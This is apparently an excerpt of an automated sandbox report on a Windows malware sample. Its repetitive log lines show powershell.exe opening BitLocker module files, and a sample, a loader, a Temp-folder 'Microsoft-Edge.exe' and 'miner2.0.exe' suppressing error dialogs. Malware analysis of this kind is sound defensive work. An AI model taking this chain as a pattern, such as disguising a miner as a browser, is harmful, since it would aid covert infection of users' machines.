Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
